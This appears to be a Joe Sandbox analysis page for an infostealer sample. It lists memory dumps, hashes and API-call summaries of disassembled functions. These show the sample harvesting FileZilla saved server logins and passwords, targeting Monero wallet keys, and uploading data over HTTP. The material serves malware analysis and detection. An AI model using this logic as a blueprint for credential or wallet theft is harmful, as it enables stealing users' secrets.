Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf2240c08c76e0d6102593cb8fa988db0e5d9f713da2e82187058bdc0e87a16
Instruction ID: 1ec51e0d159f1031cccf7e5ad70cfe82e2afe580e6b37d5ce7da73faf936a965
Opcode Fuzzy Hash: bcf2240c08c76e0d6102593cb8fa988db0e5d9f713da2e82187058bdc0e87a16
Instruction Fuzzy Hash: EA4127F3A193185BE3106D2EDC8572AFBDAEBE4311F1B453DDBC083384E9B958048692

Function 00933D8F Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ca2fe9f6f2e1f781477804cef06391c27f4305b0bb013645cb881aebaa48718
Instruction ID: 63ebf70e35a61d548cd536b6347df954fbfbee16eaf6452176145f69aec9d4a4
Opcode Fuzzy Hash: 7ca2fe9f6f2e1f781477804cef06391c27f4305b0bb013645cb881aebaa48718
Instruction Fuzzy Hash: 8D4136B3B082009FF3086A2DEC41BBAB7DADBD4760F16453DD6C583780E93959028296

Function 00689750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00680250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 00688DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00688E0B

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006799EC
Part of subcall function 006799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00679A11
Part of subcall function 006799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00679A31
Part of subcall function 006799C0: ReadFile.KERNEL32(000000FF,?,00000000,0067148F,00000000), ref: 00679A5A
Part of subcall function 006799C0: LocalFree.KERNEL32(0067148F), ref: 00679A90
Part of subcall function 006799C0: CloseHandle.KERNEL32(000000FF), ref: 00679A9A

Part of subcall function 00688E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00688E52

GetProcessHeap.KERNEL32(00000000,000F423F,00690DBA,00690DB7,00690DB6,00690DB3), ref: 00680362
RtlAllocateHeap.NTDLL(00000000), ref: 00680369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00680385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 00680393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 006803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00680419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 00680427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00680463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 00680475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 00680502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 0068051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 00680532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 0068054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00680562
lstrcat.KERNEL32(?,profile: null), ref: 00680571
lstrcat.KERNEL32(?,url: ), ref: 00680580
lstrcat.KERNEL32(?,00000000), ref: 00680593
lstrcat.KERNEL32(?,00691678), ref: 006805A2
lstrcat.KERNEL32(?,00000000), ref: 006805B5
lstrcat.KERNEL32(?,0069167C), ref: 006805C4
lstrcat.KERNEL32(?,login: ), ref: 006805D3
lstrcat.KERNEL32(?,00000000), ref: 006805E6
lstrcat.KERNEL32(?,00691688), ref: 006805F5
lstrcat.KERNEL32(?,password: ), ref: 00680604
lstrcat.KERNEL32(?,00000000), ref: 00680617
lstrcat.KERNEL32(?,00691698), ref: 00680626
lstrcat.KERNEL32(?,0069169C), ref: 00680635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00690DB2), ref: 0068068E

Strings

<User>, xrefs: 00680410
url: , xrefs: 00680577
profile: null, xrefs: 00680568
<Port>, xrefs: 006803C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006802A4
password: , xrefs: 006805FB
browser: FileZilla, xrefs: 00680559
<Host>, xrefs: 0068037C
login: , xrefs: 006805CA
<Pass encoding="base64">, xrefs: 0068045A

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 1b4443b44b3209b8e4d1369776c85860be86fa7bb3d9eef6cf62a213831ae578
Instruction ID: 8b2e323fff6a372ba5b5ba6ac118d59990ddea454d7de8a7fd364cd9ad9aeacc
Opcode Fuzzy Hash: 1b4443b44b3209b8e4d1369776c85860be86fa7bb3d9eef6cf62a213831ae578
Instruction Fuzzy Hash: C8D131B1900108ABEB48FBF4DD96DEE777EBF14300F504619F502A6491DF38AA0ACB65

Function 00675960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Part of subcall function 006747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00674839
Part of subcall function 006747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00674849

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006759F8
StrCmpCA.SHLWAPI(?,012BF3F0), ref: 00675A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00675B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,012BF400,00000000,?,012BE4F8,00000000,?,00691A1C), ref: 00675E71
lstrlen.KERNEL32(00000000), ref: 00675E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00675E93
RtlAllocateHeap.NTDLL(00000000), ref: 00675E9A
lstrlen.KERNEL32(00000000), ref: 00675EAF
lstrlen.KERNEL32(00000000), ref: 00675ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00675EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00675F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00675F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00675F4C
InternetCloseHandle.WININET(00000000), ref: 00675FB0
InternetCloseHandle.WININET(00000000), ref: 00675FBD
HttpOpenRequestA.WININET(00000000,012BF4A0,?,012BEBF8,00000000,00000000,00400100,00000000), ref: 00675BF8

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

InternetCloseHandle.WININET(00000000), ref: 00675FC7

Strings

------, xrefs: 00675D4C
------, xrefs: 00675C0B
", xrefs: 00675CD5
------, xrefs: 00675A96
", xrefs: 00675E16

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 82f812e2569d63f1af82c085341ccc5aeab1fe4f6519d42430dfef376f01cc3f
Instruction ID: 4bfdcf2dbf4d8034b575204ec463eb1f2a2b08e8798cdadb3cb5dc44bfd70310
Opcode Fuzzy Hash: 82f812e2569d63f1af82c085341ccc5aeab1fe4f6519d42430dfef376f01cc3f
Instruction Fuzzy Hash: FB12F171820118AAEB55FBA0DC95FEE737ABF14700F50429EF50672091EF742A4ACF69

Function 0067CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 00688B60: GetSystemTime.KERNEL32(00690E1A,012BE078,006905AE,?,?,006713F9,?,0000001A,00690E1A,00000000,?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 00688B86

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0067CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0067D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0067D0CE
lstrcat.KERNEL32(?,00000000), ref: 0067D208
lstrcat.KERNEL32(?,00691478), ref: 0067D217
lstrcat.KERNEL32(?,00000000), ref: 0067D22A
lstrcat.KERNEL32(?,0069147C), ref: 0067D239
lstrcat.KERNEL32(?,00000000), ref: 0067D24C
lstrcat.KERNEL32(?,00691480), ref: 0067D25B
lstrcat.KERNEL32(?,00000000), ref: 0067D26E
lstrcat.KERNEL32(?,00691484), ref: 0067D27D
lstrcat.KERNEL32(?,00000000), ref: 0067D290
lstrcat.KERNEL32(?,00691488), ref: 0067D29F
lstrcat.KERNEL32(?,00000000), ref: 0067D2B2
lstrcat.KERNEL32(?,0069148C), ref: 0067D2C1
lstrcat.KERNEL32(?,00000000), ref: 0067D2D4
lstrcat.KERNEL32(?,00691490), ref: 0067D2E3

Part of subcall function 0068A820: lstrlen.KERNEL32(00674F05,?,?,00674F05,00690DDE), ref: 0068A82B
Part of subcall function 0068A820: lstrcpy.KERNEL32(00690DDE,00000000), ref: 0068A885

lstrlen.KERNEL32(?), ref: 0067D32A
lstrlen.KERNEL32(?), ref: 0067D339

Part of subcall function 0068AA70: StrCmpCA.SHLWAPI(012B8988,0067A7A7,?,0067A7A7,012B8988), ref: 0068AA8F

DeleteFileA.KERNEL32(00000000), ref: 0067D3B4

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3e379ab27120c6eb9a64badfbaaeb04aba12e94ee8e74e556f84ffe24dcf9966
Instruction ID: 464086d359185a7da2e6d50cd504b9c90076a20ceeff670bea9eccfdb8f6e9e4
Opcode Fuzzy Hash: 3e379ab27120c6eb9a64badfbaaeb04aba12e94ee8e74e556f84ffe24dcf9966
Instruction Fuzzy Hash: CDE120B1910108ABDB48FBE0DD96EEE737ABF14300F104259F907B6491DE39AA05CB76

Function 0067C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

Part of subcall function 0068A920: lstrcpy.KERNEL32(00000000,?), ref: 0068A972
Part of subcall function 0068A920: lstrcat.KERNEL32(00000000), ref: 0068A982

Part of subcall function 0068A8A0: lstrcpy.KERNEL32(?,00690E17), ref: 0068A905

Part of subcall function 0068A9B0: lstrlen.KERNEL32(?,012B8BB8,?,\Monero\wallet.keys,00690E17), ref: 0068A9C5
Part of subcall function 0068A9B0: lstrcpy.KERNEL32(00000000), ref: 0068AA04
Part of subcall function 0068A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0068AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,012BD788,00000000,?,0069144C,00000000,?,?), ref: 0067CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0067CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0067CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0067CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0067CAD9
StrStrA.SHLWAPI(?,012BD7A0,00690B52), ref: 0067CAF7
StrStrA.SHLWAPI(00000000,012BD7B8), ref: 0067CB1E
StrStrA.SHLWAPI(?,012BDFC0,00000000,?,00691458,00000000,?,00000000,00000000,?,012B8958,00000000,?,00691454,00000000,?), ref: 0067CCA2
StrStrA.SHLWAPI(00000000,012BDDE0), ref: 0067CCB9

Part of subcall function 0067C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0067C871
Part of subcall function 0067C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0067C87C

StrStrA.SHLWAPI(?,012BDDE0,00000000,?,0069145C,00000000,?,00000000,012B8968), ref: 0067CD5A
StrStrA.SHLWAPI(00000000,012B8C38), ref: 0067CD71

Part of subcall function 0067C820: lstrcat.KERNEL32(?,00690B46), ref: 0067C943
Part of subcall function 0067C820: lstrcat.KERNEL32(?,00690B47), ref: 0067C957
Part of subcall function 0067C820: lstrcat.KERNEL32(?,00690B4E), ref: 0067C978

lstrlen.KERNEL32(00000000), ref: 0067CE44
CloseHandle.KERNEL32(00000000), ref: 0067CE9C

Strings

, xrefs: 0067C9C6

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367516409.0000000000D08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: b1789ae76288fed21f816f23e6a664bcd0bcbb5072ecb873401c6e1e049754c4
Instruction ID: f5b315ff63e24ade7fb46163785c938f7d067072fb68248fc57ed1456d491e2f
Opcode Fuzzy Hash: b1789ae76288fed21f816f23e6a664bcd0bcbb5072ecb873401c6e1e049754c4
Instruction Fuzzy Hash: 87E10FB1810108ABEB58FBE4DC91FEE777AAF14300F40425EF50676191DF346A4ACB6A

Function 00688320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0068A740: lstrcpy.KERNEL32(00690E17,00000000), ref: 0068A788

RegOpenKeyExA.ADVAPI32(00000000,012BB848,00000000,00020019,00000000,006905B6), ref: 006883A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00688426
wsprintfA.USER32 ref: 00688459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0068847B
RegCloseKey.ADVAPI32(00000000), ref: 0068848C
RegCloseKey.ADVAPI32(00000000), ref: 00688499

Part of subcall function 0068A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0068A7E6

Strings

?, xrefs: 0068837A
- , xrefs: 006885A3
%s\%s, xrefs: 0068844D

Memory Dump Source

Source File: 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1366348513.0000000000670000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366369367.00000000008BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.00000000008CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000A59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1366641315.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367399051.0000000000B6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367500286.0000000000D07000.00000040.00000001.01000000.00000003.sdmpDownload File
